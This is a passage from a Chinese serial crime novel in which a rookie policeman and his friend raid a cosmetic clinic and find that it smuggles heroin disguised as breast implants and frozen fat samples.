他摘下耳朵上那根烟,在桌上磕了磕,语气透着一股被折腾惯了的无奈:“小马,您能不能消停两天?上次那个检讨写完了?” “师傅,人家报警了呀!” 田伟盯了他两秒,一把拽过笔录,从头到尾又仔仔细细看了一遍。 看完,他把笔录卷成筒,“行,那我问你——这个女孩隆胸,失败了还是成功了?” 马辉一愣:“失败了。” “这不就结了。”田伟把笔录筒往桌上一扔,“这个男的人品是烂,说白了就是个王八蛋。嫌人家身材不好,让人家去隆胸。结果失败了,又没法补救——你看看笔录上她说的,隆胸手术不止做过一次,在宁海做过一次,还跑到粤省做过一次,全都失败了。然后这王八蛋把人一踹,电话不接,面都不露。” 他站起来,把笔录塞回马辉手里,凑近了盯着他:“你说吧,这个事我们能干什么?把他抓起来?” 马辉张了张嘴。 “你说他骗财?这女孩报案,也没说有什么财物损失。”田伟掰着手指头,“骗色?人家是正常男女朋友交往,不能因为这个人始乱终弃、人品败坏,我们就给他上手铐吧?” 他把烟从耳朵上取下来叼在嘴里,点着使劲吸了一口:“我的小马哥哎,咱们能不能把劲儿使在正经事上?” “师傅……” 田伟伸手往门口一指:“学习室。看书去。” 马辉张了张嘴又闭上,转身往外走,脸上挂着一副心事重重的表情。 田伟在他身后叹了口气,把烟从嘴里拿下来看了看,又别回耳朵上。 测绘局二楼,地图数字化专项工作室里,三台电脑一字排开。韩学涛、楚强、小白三个人各守一摊,像一条流水线似的。 韩学涛负责扫描和预处理。把一张老旧的地质图往扫描仪上一铺,灯管嗡嗡走过,图像就跳进了屏幕。他快捷键按得飞快——自动裁剪、旋转校正、色彩优化、去噪点,一套流程下来不到两分钟,图已经干干净净地躺在文件夹里。 接着,楚强接过去做矢量化。他手稳,鼠标走得慢,但是极其精准,一条等高线从头描到尾,粗细均匀,节点不多不少,恰到好处。 最后是小白的活儿,负责拼接和校对。他面前同时开着四五个窗口,左拖右拽,把分图层处理的图一张一张对齐。 这套流程跑顺之后,效率高得惊人。 有些图需要做底稿,他们就送到学校的图形工作站那边,请齐老师进一步加工,加工完再送回测绘局入库。整个流程周而不殆,像一台上了润滑油的机器,运转得丝滑顺畅。 测绘局的人看得叹为观止。原先绘图室几个月都干不完的活儿,这三个大一学生一个星期就干出了大半。关键是精度还高,拼接误差控制在零点几毫米以内,比手工描图不知道强到哪里去了。 正忙着,行政王姐推门进来,手里拿着三个信封。 “小韩,小楚,小白——”她把信封一人手里塞了一个,“魏局长让我给你们的,超市卡,一张二百。说是慰劳你们,最近加班加点的,都不容易。” “谢谢王姐。”韩学涛接过去随手揣进兜里。 楚强点了点头,也道了声谢。 轮到小白接的时候,王姐一眼瞥见他右手虎口红了一片。 “哎哟,这手怎么了?”王姐皱起眉,从兜里摸出一支护手霜塞到小白手里,“拿着,擦擦。天天摸鼠标描图的,手也不晓得保养。” 韩学涛:“……” 楚强:“……” 小白举着那支护手霜愣了一下,随即温和地笑了:“王姐,我感觉你就像我亲姐姐一样。” “那以后你就是我干弟弟了!”王姐一脸宠溺。 韩学涛无语地转回去,心里暗暗感慨:还是小鲜肉受欢迎啊。要不了几年,就是他们的天下了。 包里的爱立信忽然震动起来。 韩学涛掏出来一看——马辉。 “我出去一下。”韩学涛走到走廊里,接通电话。 “涛子!”马辉的声音很急,像是憋了一肚子话等着往外倒,“我今天接到一个报警,感觉跟点点的男朋友很像!” 韩学涛一怔:“什么报警?” “一个卫校的女生,说她男朋友失踪了。”马辉语速飞快,“年龄二十五六,斯斯文文戴眼镜,也是粤省在宁海外派机构的——虽然不是同一个名字,但我越听越觉得像一个人!” 韩学涛问:“叫什么名字?” “卢亮。” 韩学涛皱起眉,念了一遍:“卢亮?”他顿了顿,“罗点点她男朋友叫吴翔,读音感觉差不多。” 电话那头,马辉像被劈中了一样,声音猛地拔高:“对!没错没错!涛子,你要不说我还真没往这想!肯定是这王八蛋!怎么办?怎么办?” 韩学涛靠在墙上,脑子里飞速转着:“光凭这点信息就确定是一个人,还是太草率了。有相同特征的人不在少数。马猴,你怎么确定就是吴翔?” 莫非那个小白脸脚踏两条船? 这倒很有可能。他们那种人,想让他们只交一个女朋友,确实有点难度——广撒网,捞到一个算一个。 不过有一点他始终没太想明白:吴翔跟罗点点交往也有一阵子了,好像没从她身上骗过什么钱。当然,他知道的信息也都是从李曼那儿来的,罗点点也不见得什么话都跟李曼说。 马辉说:“其实这些都不重要。就一点,让我心里特别不舒服。” “什么?” “我跟你说过,在农大我打那个吴翔,是因为他在食堂跟我说罗点点胸小。”马辉急切地说,“今天来我们派出所报案的女生,就是做了隆胸手术,然后男朋友就消失了。” 韩学涛的眼睛猛然睁大了。 “隆胸手术?” 第141章 小白脸,玩得挺阴的 宁海百货大楼门口,李曼站在台阶上,踮起脚尖往人群里张望。 罗点点从公交车站那边走过来,李曼看见她,远远地招手喊了一声。罗点点抬起头,脸上漾开笑意。两人碰到一起,胳膊自然而然地挽了上去。 “等多久了?”罗点点问。 “刚到。”李曼说着,眼睛下意识地往罗点点胸前扫了一眼,又飞快地收回来,暗自在心里跟自己比了比。 就那么一瞥,不到半秒,罗点点还是敏锐地捕捉到了,嗔怒地推了她一把:“曼曼,你看什么呢!显摆你比较大么!” 李曼的脸腾地红了个透,连连摆手:“没有没有,我不是这个意思——而且我也没有比你大……多少呀。” 她心里觉得,自己确实要比罗点点稍微大那么一点点,莫名其妙地松了口气,紧接着便是一阵红到耳根的羞臊。 罗点点瞪她:“你还说!” 李曼赶紧拉着她的胳膊转移话题:“好啦好啦,走吧,我们先去吃东西。” “我请你吃砂锅,”罗点点说,“然后你陪我去医院。” 两个人挽着胳膊往前走,李曼偏头看了她一眼:“吴翔呢?怎么不陪你?” “他们单位有事,昨天临时回粤省了,”罗点点说,“不过晚上应该就能赶回宁海。” 李曼想了想,斟酌着问了一句:“你觉得他这个人怎么样?” 罗点点沉默了几步,脚下不自觉地慢了下来:“还行吧……我也不知道该怎么形容。有几件事儿,我跟你说,你帮我分析分析……” 两人边走边说。 而同一时刻,在螺塘街派出所的学习室里。 马辉合上面前那本《治安管理处罚条例》,站起身来,椅子往后一推,“吱呀”一声。余兵和刘小勇同时抬头看他,眼神一碰,也跟着站了起来。 “走!”马辉一抬下巴,表情严肃。 三人走到田伟办公室门口,抬手敲了敲门框。 “师傅。” 田伟正在填表,头都没抬:“什么事?” “我想请半天假。”马辉说。 田伟放下笔,抬起头看着他,又看了看站在马辉身后的余兵和刘小勇——三个人排成一排,像三根钉子似的杵在那里。 “你们才学了几天就坐不住了?不行。” “师傅,我们可是早就答应了老袁大伯,要帮他搬家的。”马辉语气恳切,“每次巡逻都到他收发室去坐坐,现在放他老人家鸽子,这不好吧。” “老袁搬家?”田伟皱了皱眉,“我怎么不知道?” “师傅,袁伯那边,最早还是您带我去的。您跟他关系那么熟,我还能骗您不成?”马辉说得理直气壮,“这种力气活,袁伯没找您,找我们几个小年轻,这不是很正常嘛。” 田伟靠在椅背上,看了他两眼。 “是所长让你们闭门学习,不放你们出去。你们去找所长啊,来我这儿干什么?” “师傅,您这就不讲道理了。”马辉挠着头说,“上班的时候我们在单位学习没问题,可您也不能不让我们请假吧。按照所里的制度,您是咱们的主管领导,我们请假当然找您了。” 田伟看着面前这三个人,沉默了几秒。马辉一脸焦躁,余兵低着头盯着自己的鞋尖,刘小勇的目光在天花板上游来荡去,每一个有正形的。 想想这几天也确实把他们憋得够呛。请半天假去搬个家,顺便透口气,也不是不行。 他拿起笔,在桌上的日历本上划了一道:“假只给你们批半天。明天早上老老实实来单位报到,听明白没有?” “谢谢师傅!”三个人异口同声。 田伟摆了摆手,像赶苍蝇似的:“滚滚滚,别在我跟前晃了。” 马辉三人从派出所出来,一路走到螺塘街外。 路边的梧桐树下,停着一辆红色夏利,车顶放着出租车顶灯。车窗摇下来,韩学涛从驾驶室探出头,冲他们招了招手。 “上车!” 马辉拉开副驾驶的门坐进去,余兵和刘小勇钻进后座。车门关上,车里裹着一股热风。 “涛哥。”余兵喊了一声。刘小勇也跟着叫了一声。这次行动之前,马辉已经把韩学涛的身份给他们介绍过了。 韩学涛从脚边拎起半条烟,往后座一扔:“自己拿着抽。”他发动车子,挂上挡,夏利慢慢滑出路边,汇入车流。 “做好心理准备,这趟活儿风险挺大——要么得表彰,要么挨处分。”韩学涛说。 余兵在后座拆烟:“我们现在就被处分着呢,天天在学习室里背材料。” “两码事。”韩学涛从后视镜里看了他一眼,“这趟活儿要是办砸了,你俩可能连警服都没得穿了。” 刘小勇接过余兵递来的烟,叼在嘴里,含混地说:“没所谓。天天待在学习室,这种警察我还不愿意干呢——我就觉得跟着马哥干有劲儿。” 韩学涛笑了一下,方向盘往左打了半圈,超过一辆慢吞吞的公交车。 “这话我爱听。富贵险中求,大家都是年轻人,没什么放不下的。这趟要是干成了,你们反扒小组能轰动宁海警界。” 韩学涛声音不大,却把余兵和刘小勇听得一愣一愣的。两人对视一眼,嘴巴微张,半天没说出话来。后视镜里映出两张惊讶的脸。 而坐在副驾驶的马辉,后背一下子绷了起来,转头看着韩学涛,一脸凝重:“涛子,这么严重?到底什么情况?点点那边……会不会有什么危险?” 韩学涛没接话。一手扶着方向盘,另一只手从裤兜里抽出两张纸,“啪”地拍在马辉大腿上。 “自己看。” 他一声冷笑,眼神沉下去,盯着前方的路面,表情一点点凝固,嘴里自言自语:“小白脸……玩得挺阴呐。小看你了。” 马辉迫不及待翻开纸。一行,一行,往下看。脸色一点点白了...... 看到一半,汗毛已经全竖了起来,后背“唰”地冒出一层冷汗,衬衫紧紧贴在皮肤上。 盛夏的阳光照进来,他却觉得手脚一片冰凉。 第142章 临锋 韩学涛一脚刹车,红色夏利拐进整形中心马路对面的一片空地,熄了火。 美茵整形美容中心就在马路那头,门脸不大,夹在一排商铺中间。玻璃门擦得锃亮,里面前台坐着一个穿白大褂的年轻女人,正低头翻东西。 马辉手已经搭上门把手,屁股都抬起来了。 韩学涛一把拽住他胳膊:“等等。” “可是点点她——”马辉眼睛死死盯着马路对面那扇玻璃门,恨不得立刻就冲进去! “资料你也看了。”韩学涛说,“这可不是抓赌,也不是黑车。你们三个就这么冲上去,被人家吃了,骨头都吐不出来。” 马辉僵在座位上,隔空挥了一下拳头,接着从车门储物格里摸出一瓶矿泉水,狠狠拧开盖子,仰头就往嘴里灌,喉结上下滚动,半瓶水下去,瓶子被捏得咔咔响。 韩学涛拍了拍他肩膀:“先把火憋一会儿,今天有你发的时候。每临大事有静气——放心吧,我有安排。李曼还在里头呢。” 他摸出爱立信,拨了一个号码,放到耳边:“都准备好了吧?开始吧。” 挂断电话,车里安静了几秒。 一辆白色中巴车从街角拐过来,停在整形中心门口。车门哗啦一声拉开,十来个人鱼贯而下——有男有女,年纪不一,穿着打扮各异,但脸上的表情整齐划一:愤怒。 而几乎同时,四面八方也有人冒出来。有的从巷子里拐出来,有的从公交站那边走过来,有的像是路过突然停下的。人群像水滴汇入溪流,迅速聚拢在整形中心门口,几分钟的功夫,就黑压压站了一片。 “黑心诊所!谋财害命!”有人带头喊了一嗓子。 “把我妹妹的脸毁了!赔钱!” “无证经营!草菅人命!” “关门!关门!” 口号声一声比一声高,围观的路人越来越多,人行道被堵得水泄不通。 有人举着横幅,白布红字,写着“还我公道”。有人在哭,被旁边的人扶着,哭得撕心裂肺。有人在拍门,玻璃门被拍得哐哐响,前台那个年轻女人站起来又坐下,脸色发白,抓起电话不知道在打给谁。 声势浩大,群情激愤。 马辉、余兵、刘小勇三个人坐在车里,眼睛都看直了。 马辉转过头,嘴巴张了张:“涛子……这些都是你找来的人?” “跟我没关系。我是来找朋友的。”韩学涛从座位底下摸出一顶黑色棒球帽扣在头上,又拿起一个口罩挂在一边耳朵上,“几位公安同志,群众的呼声你们也听到了——不下车去管一管?” 马辉胸腔里那股憋了半天的火,被这句话一下子点着了。他一把拉开车门,腿迈出去,挺直腰看着马路对面:“走!去给群众解决问题。” 余兵和刘小勇兴奋得脸都红了,一把抓起警帽扣在头上,跟着跳下车。 四个人横穿马路,穿过人群。韩学涛走在前头,棒球帽压得低低的,口罩遮住了大半张脸,步子不快不慢,径直朝整形中心那扇玻璃门走去。马辉他们三个跟在后头,警服在人群里格外扎眼。 人群中有人喊了一嗓子:“警察来给我们做主了!进去找他们领导!草菅人命,必须赔钱!” 人群跟着涌动起来,像潮水一样往门口涌。 整形中心斜对面,一辆深蓝色的桑塔纳停在路边的树荫下,车窗关得严严实实。 车里坐着四个人,都穿着绿色警裤和白色警制T恤,没戴警帽。四个人挤在两排座椅上,目光越过马路,死死盯着美茵整形中心那扇粉紫色招牌下的人潮。 当人群冲进去的瞬间,两个人紧张得差点直接从座位上弹起来。 “怎么突然冒出一帮医闹?”后座一个圆脸的年轻人捂着撞到车顶的后脑勺,龇牙咧嘴。 另一个皮肤黝黑的跟着啐了一口:“他妈的,偏偏就这个点儿出现。邪了门了。” “要不现在就进去?”圆脸凑到副驾驶椅背后面,压低声音,“何队,计划还不变?” 被叫何队的男人没吭声。他死死盯着窗外,腮帮子鼓了又鼓,像在咬什么东西。忽然,他猛地一拳砸在车门扶手上——“砰”的一声闷响,车里几个人都跟着一颤。 “进去?进去干什么?”他转过头,“我们要抓的是人赃并获!你以为什么阿猫阿狗都能上去抓人?这事但凡出一点纰漏,老子这身皮都得扒了,你们几个谁他妈兜得住?” 后座两个人对视一眼,慢慢缩了回去,但身体还绷得像拉满的弓。 何队喘了口粗气,从裤兜里掏出烟,叼在嘴里,没点。他又猛地把烟拽下来,狠狠搓了两下,烟丝掉了一裤腿。“再等等。”他声音像从牙缝里挤出来的,“不出则已,出就要一锤定音。这一锤砸歪了,谁都别想好过。” 马辉推开玻璃门,大步流星地走了进去,抿着嘴,表情十分严肃。 前台的女人站起来,还没来得及开口,马辉已经把证件亮到她鼻尖底下:“接到群众报案,你们这里涉及严重问题。马上暂停所有手术,带路!” 女人的笑容僵在脸上。她下意识伸手去够桌上的电话,指尖刚碰到话筒,余兵一步跨过去,手掌按住话机,另一只手扯断了电话线,线头在空中甩了一下。 韩学涛已经踩上了楼梯台阶,头也没回地丢下一句:“都给我堵死了,一只人都别放出去。”说完三步并作两步,蹿上了楼。 四楼,手术室。门关着。 罗点点躺在手术台上,无影灯还没开,天花板是一片惨白。 她侧过头,看见护士在旁边的托盘上摆弄器械,金属碰撞的声音细碎而清脆,一下一下,像针尖扎在耳膜上。医生背对着她,正在戴手套,橡胶拉紧的啪嗒声让她肩膀猛地一缩。 心跳太快了。快得她想吐。 她想起吴翔说的话——“做完就好了,做完你就完美了。”当时心中自卑,可现在躺在这里,她突然觉得无比委屈。 她想坐起来。想说不做了。想穿上衣服跑出去,跑回家。 “不要乱动,准备上麻醉了。”一个男人的声音从头顶传下来,隔着一层口罩,冷冰冰的,像从很远的地方飘过来。 冰凉的针尖扎进手背的血管,药液推进去,顺着血液往上爬。手臂开始发沉,像有只手在慢慢往下按。意识像一块掉进水里的冰,边缘开始融化,变得模糊,模糊,再模糊。 迷迷糊糊中,她听见有人在说话。声音忽远忽近,像隔了一堵墙。 “型号确认了?” “确认了。这批特供的,跟常规不一样。” “填充剂量控制好,别超了。” “放心,这个配比我做过无数次了,效果比普通的好得多。” 那些词罗点点一个都听不懂,她不知道“比普通的好得多”到底是什么意思。但恐惧像一只手,从黑暗里猛地伸出来,攥住了她的心脏,越攥越紧。 她想起妈妈。想起家里的餐桌,碗筷摆好的样子。想起爸爸坐在沙发上翻报纸,赖着不想去厨房洗碗,妈妈一边骂一边笑。她想喊,嘴巴张了张,什么声音都发不出来。 眼泪从眼角滑下来,顺着太阳穴流进头发里。 无影灯亮了。刺目的白光灌进瞳孔,然后一切都在光里碎掉了。 第143章 激冲 四楼手术室外,是一条狭长的走廊。一根日光灯管坏了,一明一暗地闪着。 李曼坐在长椅上,听见楼下传来动静。起初是些嗡嗡的人声,后来越来越大,口号声从楼梯口灌上来——“黑心医院”“草菅人命”,混着拍门的闷响和玻璃碎裂的声音。 她猛地站起来,看看手术室紧闭的门,又看看走廊尽头的楼梯口,心怦怦直跳,一时间不知道该怎么办才好。 医生办公室的门开了,几个白大褂探出头来。有人喊“打电话给院长”,有人喊“叫保安”。走廊里乱成了一锅粥。 李曼想往楼梯口走,一个年轻医生伸手拦住她:“别乱跑,在座位上等着。” 两个护士过来,一左一右抓住她胳膊:“过道上不要留人,都去办公室!” 李曼甩了一下手,没甩开,又气又急地喊:“你干什么?” 就在这时,楼梯口传来了脚步声。韩学涛踏上最后一级台阶,黑色棒球帽压得很低。他一眼看见跟两个护士纠缠的李曼,大步走了过去。 年轻医生看见他,伸手来拦:“你是什么人?这里不能——” 韩学涛没等他说完,一手剪住他的手腕,往里一翻一转,那医生整个人被拧了个方向,踉跄着撞进旁边的办公室。韩学涛跟上去一步,从外面把门推上。砰的一声,门板震了一下。 他转过身,眼神凌厉地扫向那两个护士:“有一千月薪吗?管你们什么事?” 两个护士像被什么东西烫了一下似的,同时松开李曼,各自后退了半步。 韩学涛把李曼拉到自己身边,手搭在她肩膀上,往楼梯口带。 “你怎么来了?”李曼被他搂住肩膀,身体明显一松。 “这家医院有问题。马辉他们派出所的人来了,咱们别添麻烦,先出去。”韩学涛说。 楼梯那头脚步声急响,马辉带着余兵和刘小勇冲了上来。三个人穿着警服,尤其是马辉,神情十分严肃。韩学涛朝手术室方向抬了抬下巴,马辉点了一下头,带人跑过去了。 李曼下意识跟了一步,被韩学涛拉住。 “马猴行不行啊?”李曼急道。 韩学涛说:“他现在不是马猴,是马sir。” “他才当几天公安?”李曼说。 “那你是不知道,”韩学涛推开通往楼梯间的门,“他高中就已经是圣斗士了。” 李曼顿时无语了,嘴角却忍不住弯了一下。 两个人下楼梯。下了半层,楼下传来急促的脚步声——两个保安冲上来,穿着灰色制服,手里攥着黑色橡胶警棍。 “退回去!全部退回去!不准下楼!”打头那个保安把警棍往前一指,棍头差点戳到李曼脸上。 韩学涛没停步。他伸手到腰间,抽下那条尼龙皮带,手腕一抖,皮带抡圆了,钢扣带着风声砸在打头保安的手背上。警棍脱手飞出去,弹在墙上,又落在地上,骨碌碌滚下楼梯。 第二个保安刚举起警棍,韩学涛反手一甩,皮带梢扫过他的手背,啪的一下脆响。那人手一缩,警棍差点拿不住,整个人往后退了两步,后背撞上墙壁。 李曼看得整个人都傻了。 她的视线钉在那根皮带上。那是她昨天才送出去的生日礼物,亲手挑的,绿色尼龙,扣头上刻着一匹马。 她想象过这根皮带系在韩学涛腰上的样子,但她从来没想过它会被这样甩出去——钢扣砸在人手上的声音,皮带梢扫过皮肤的声音,还有那两个保安脸上瞬间扭曲的表情。 “走。”韩学涛把皮带往手腕上一缠,拽着李曼继续下楼。两个保安贴在墙上,大气儿都不敢喘。 楼下大厅里,人已经满了。横幅拉得绷直,白布红字写着“还我公道”“黑心诊所”。有人抡着拳头砸前台桌子,有人堵在大门两侧,眼神全是不对劲的光。 韩学涛拉着李曼穿过去。人群像被劈开的水,自动往两边让。 出了门,穿过马路,韩学涛拉开车门,把李曼推了进去。 夏利车里,此时多了一个司机,戴着口罩和帽子,正是包达。 包达从后视镜里瞥了一眼后座的李曼,立刻认出来了——东林春梅宾馆那个女服务员。看来,跟老大的关系不一般。 李曼根本没看驾驶座。她趴在车窗上,目不转睛地盯着马路对面:“师傅,您能不能等会儿再走?我给您加钱。” 韩学涛拍了拍包达的肩膀:“就看个热闹。” 包达没吭声,熄了火,拉开车门下去。他站在车外,点了一根烟,把手机举到耳边—— “砸。” 挂了电话。不到半分钟。 对面的玻璃门“咣当”一声碎了,像炸开一样。紧接着里面传来打砸声:哐啷、嘭、哗啦——铁器砸在瓷砖上,木头断裂,玻璃飞溅,混着叫骂和尖叫,一浪一浪往外涌。 李曼猛地抓住车门把手:“点点还在里面!” “放心吧。”韩学涛说,“马辉在呢。” 四楼。手术室的门,关得死死的。 马辉冲到门前,推了一把——纹丝不动。他低头看了一眼门把手下方:一块不锈钢面板,上面有个旋钮,旁边贴着标签——“紧急情况下旋开”。 他拧了一下。拧不动。 余兵从旁边挤过来,从腰带上解下多功能钳,卡进旋钮和面板之间的缝隙,用力一撬。面板翘起来的那一瞬间,里面的锁舌“咔嗒”一声—— 门开了。 一股冷风从里面扑出来。 马辉第一个冲进去。 无影灯全开着,罗点点躺在手术台上,外衣已经被解开,胸前铺着蓝色手术布,大片肌肤裸露在灯光下,她闭着眼睛,一动不动,像一件被摆上台面的东西。 一个五十来岁的医生站在手术台旁,手里还捏着手术钳。旁边的护士端着托盘,麻醉师坐在仪器前,两个助手站在角落里。 门被撞开的一瞬间,所有人同时转头,空气一下子冻住了。 那医生看着马辉等人身上的警服,脸上的表情明显变了,不是慌张,是那种毫无防备的惊愕:“手术还没开始,你们怎么闯进来了?” 马辉没跟他说话。他扯过一块白布,盖在罗点点胸前,然后转身,大声道:“手里东西放下。全部站到墙边。” 听到这话,那医生身体猛地一震,蹦起来就往窗口跑。 麻醉师和两个助手也同时窜起来。 马辉急了,把身体当成炮弹,直接向他撞了过去。 “嘭——”一声闷响,医生被撞得侧飞出去,腰胯狠狠磕在窗台上,整个人歪倒在地。眼镜飞了,露出一张苍白的脸。 马辉扑上去,一把揪住他的后脖领,从地上拽起来,反剪双手——手铐“咔嗒”一声,咬死了。 余兵和刘小勇下手更狠。 余兵一脚踹翻一个助手,那人往前踉跄了两步,脸直接磕在墙上,鼻血溅出来,在白墙上留下一道红。刘小勇抄起墙角的垃圾桶,连头带脸砸在另一个助手的肩膀上——那人惨叫一声,整个人缩成一团。麻醉师腿一软,蹲在地上,双手抱头,浑身发抖。 两人从腰带上取下手铐,把两个助手铐在一起,又把麻醉师跟他们串成一串,全部赶到墙角蹲好。 马辉从口袋里掏出韩学涛给他的那张纸,展开看了两眼,开始在手术室里翻。 墙角立着一个医用冷藏柜。银灰色柜门,挂着一把铜锁——锁是开着的,锁扣垂下来,一晃一晃的,像在等他。 他拉开柜门。冷气扑出来,带着一股说不清道不明的气味。里面整整齐齐码着几排药品和密封袋。 他伸手进去摸了一圈。内壁光滑,不锈钢的凉意贴着指尖。 又摸了一遍。 指尖触到底部接缝处时,停了一下。有一道缝。很细,但确实存在。 他用指甲抠住缝隙,往上一提—— 底板动了。 下面是一个夹层。 夹层里躺着几个软塌塌的透明硅胶袋,封口处印着几行小字和编号。袋子里装着半透明的黏稠液体,在灯光下泛着一种让人起鸡皮疙瘩的光泽。 马辉把袋子凑近鼻子——一股酸臭味冲上来,直往脑子里钻。 他犹豫了不到半秒。 然后用舌尖在袋子封口处微微一舔,苦味从舌尖炸到舌根! 马辉的眼眶一下子就红了,咧着嘴,表情看起来滑稽又难过。 他站起来。两步跨到墙角。一把揪住那医生的头发,从蹲着的人堆里生生拽了出来。医生还没站稳,马辉的巴掌已经扇上去了。 “啪——” 医生的头猛地歪向一边,眼镜飞出去,撞在墙上。 “这是什么!”马辉嘶吼着说。 医生脸肿了起来,低着头,一声不吭。 “啪——” 第二下比第一下更重。医生的身子往一侧栽,又被马辉揪着头发硬生生拽了回来。 “我问你这是什么!” 医生还是不说话。嘴唇在哆嗦,眼睛死死盯着地面,不敢抬起来。 “啪——” 第三下扇完,马辉的手在抖。不是累的,是压不住的、从骨头里往外冒的愤怒。 “马哥!马哥!冷静点!”余兵从后面抱住马辉的腰,使劲往后拖。 刘小勇拉住他的胳膊,“汇报。这事儿得赶紧汇报。” 第144章 极其恶劣的案件 半个小时之后,美茵整形医院门口已经停满了警车,红蓝灯一圈一圈地转着。远处警笛还在响,一声接一声,越来越多的警车正往这边赶。 深蓝色桑塔纳里,何浩几个人望着窗外,脸色都不太好看。 “哟,总局的车都来了。”后座有人嘟囔了一句。 “武警、经侦的全到了。”另一个接过话茬,“就差咱们缉毒的了。何队,怎么办?” 何浩把警服从后座扯过来往身上套,又拿起警帽扣在头上,动作很慢,像是在盘算什么事。 “你们先回去吧。”他往下拉了拉帽檐,“一会儿队里其他人也过来,我过去瞅一眼。” 说完推门下车,朝医院大门走去。沿途好几个警员跟他打招呼—— “何队好。” “何队,您也过来了?” 有人问他这边啥情况、怎么搞这么大阵仗,他嘴里应付着“等总局通报”,步子却没停。 进了医院大门,何浩眼皮跳了一下。大厅被砸得稀巴烂,前台桌子翻倒在地,玻璃碴子碎了一地,电话机摔在墙角,话筒还连着线,晃晃悠悠的。横幅倒是还在,半挂在墙上,白布上印着几个鞋印。 神奇的是那些医闹——刚才还扯着嗓子哭天喊地,这会儿一个都不见了,干干净净,像从来没来过似的。 他上了四楼。楼梯口已经有武警戒严,穿迷彩服端着枪,腰杆笔直。越往上武警越多,每隔十来米就站一个,一直延伸到手术室方向。走廊两边的办公室门都关着,所有医生护士都被封在里面,不准出来。 手术室门口聚集的人最多。几个穿白大褂的蹲在墙角,手上全戴着铐子,耷拉着脑袋。其中一个脸肿得认不出原来的模样。 何浩挤进门,看见满屋子警察围成半个圈,中心站着一个人——付祥民。全省警察系统的先进模范,临退休被拉到宁海当副局长。头发虽然白了,腰背却挺得笔直,站在那里不怒自威。 付祥民身边站着一个瘦高个小警察,脸上青涩未退,低着头,活像是犯了错被校长当场抓住的学生。 何浩进门的时候,付祥民正低头看着台面上摆开的几样东西——硅胶袋、药品、几份文件。他听见动静抬起头,朝门口招了招手。 “小何,过来看看。” 何浩走过去,顺着付祥民的手指看向那几个硅胶袋。 “看看这个。”付祥民说。 何浩拿起一个硅胶袋,轻轻晃了晃。液体挂壁,浑浊发黄,像变质了的胶水。他凑近闻了闻,眉头皱了起来,又用舌尖在袋子封口处微微一点,品了两秒。 “付局,海洛因的水溶液。”他放下袋子,指着那几个硅胶袋说,“说白了,就是把高纯度海洛因用化学溶剂溶成液体,灌进这种硅胶袋里,伪装成医用填充物或者药品。外表看不出来,过X光也难分辨,就算打开闻,不是专业的一下也辨不出来。” 他顿了一下,看向蹲在墙角的那个医生:“运到地方之后,用一种特殊的酸化反应,把液体里的海洛因还原成粉末。操作不难,弄个简易的化学反应装置就行。整个过程没有高温、没有明火,常温下就能完成。还原出来的粉末纯度几乎不降——这边是溶液,那边出来的就是高纯度海洛因。” 手术室里更安静了。几个年轻警察互相看了一眼,没人吭声。 付祥民听完,没接话,转头看向旁边的马辉,目光压得马辉又把头低了几分。 “听听。”付祥民指了指何浩,“缉毒支队的何浩,何队长。知道什么叫专业了吧?” 他哼了一声:“你一个反扒小组,本行都没干好,跨区域跑到这边来缉毒?你们派出所在干什么?回去跟你们所长说,让他写检查上来。你们几个,全都等着处分!” 何浩站在旁边,听付祥民说完,才知道眼前这个瘦高个小警察就是今天这场行动的“主角”。螺塘街派出所的,入职还不到一个月。 他心里的愤怒顿时全变成了郁闷。 “确实得加强教育了。”何浩说,“付局,不瞒您说,我们缉毒队刚才就在外面蹲点。眼睁睁看着一堆医闹冲进去,队员问我怎么办,我硬是摁住了——缉毒不像别的工作,最忌讳打草惊蛇。” 他看着马辉:“小马这次能发现毒品,算是运气好。可你这么一闹,整个贩毒链条就断了。我们前面做的所有工作,全白费了。” 他停了一下,眯起眼睛问:“小马,你们是怎么知道这边贩毒线索的?” 马辉脸红到耳根,手不知道往哪儿放:“何队,对不住啊……我不知道什么线索,我就是过来救我同学的。” “你同学?” 马辉挠了挠头:“就是做手术这个女生,她是我高中同学。我俩关系还挺不错的……” 何浩张了张嘴,又闭上了。他看着面前这个愣头愣脑的小警察,一句话都不想多说了——这叫什么事啊! 付祥民开口了:“这个案子,极其恶劣。”他伸手指了指手术台,“利用不知情的女性,以隆胸为名,把毒品填进她们身体里帮他们运毒——简直令人发指。” 他转过身,面朝屋子里的所有人:“你们想一想——专门有人负责物色和欺骗女性,有专业的医生配合做手术,还有这套伪装成医疗用品的运输流程。这意味着什么?这意味着这不是几个毒贩临时起意,而是一个有组织、有分工、有完整链条的专业贩毒集团。而且,运毒只是他们整个链条上的一个环节。上游有毒品来源,下游有分销网络,中间还有资金洗白渠道。我们今晚端掉的,只是冰山一角。” “付局!”一个负责搜查的警察从走廊那头跑过来,手里拿着一份清单,额头冒汗,“冷冻储存库那边有发现。大量海洛因,跟脂肪存储块混在一起。” 付祥民转身就往外走。 冷冻储存库在走廊尽头,门敞开着,冷气呼呼往外涌。门口站了两个武警,端着枪,表情严肃。付祥民走进去,里面的人自动往两边让开。 这个房间不大,二十来平米,墙上挂着温度计。几个警察缩着脖子,鼻尖冻得发红,但没有一个人出去。所有人都盯着那几排不锈钢架子。 架子上整整齐齐码着一袋一袋的东西,铝箔袋,封口处贴着标签——姓名、日期、编号。跟旁边那些标注着“自体脂肪”的袋子一模一样。混在一起,根本分不出哪袋是脂肪,哪袋是毒品。 何浩走上前,随手抽了一袋,翻过来看了看标签上的名字和日期,又放了回去。 他转过身对付祥民说:“自体脂肪隆胸手术,很多美容院会单独做冷冻存储,专门放顾客抽出来的脂肪。零下二十度,普通人进来待不了两分钟。毒贩把毒品封进一模一样的铝箔袋里,混在成堆的脂肪样本中间。哪怕有人来翻找,看到那些恶心的油脂,第一反应也是赶紧把手缩回去。” 付祥民站在架子前,没说话。他伸手拿起一袋,在手里翻了翻——铝箔袋表面结了一层薄霜,标签上的字迹工工整整,日期写的是一个月前。 他放了回去,又拿起另一袋,一样的规格,一样的尺寸,一样的冰凉质感。 他把袋子放回架子上,转过身,声音比刚才更沉:“看看这些。这些女孩把脂肪存到这里,想要隆胸,以为自己会变漂亮。结果呢?她们全变成了犯罪分子运输毒品的工具。她们以为是隆胸失败、手术出了问题,殊不知填到她们身体里的,根本就是海洛因。” 他停下来,扫了所有人一眼。 “我从警几十年,没见过几起这么恶劣的案子。而现在,就发生在宁海,发生在我们眼皮子底下。”付祥民一脸寒霜,“这个贩毒集团,必须连根拔起。一根毛都不许留。” 第145章 醒来 罗点点觉得自己像从很深很深的水底,一点一点往上浮。 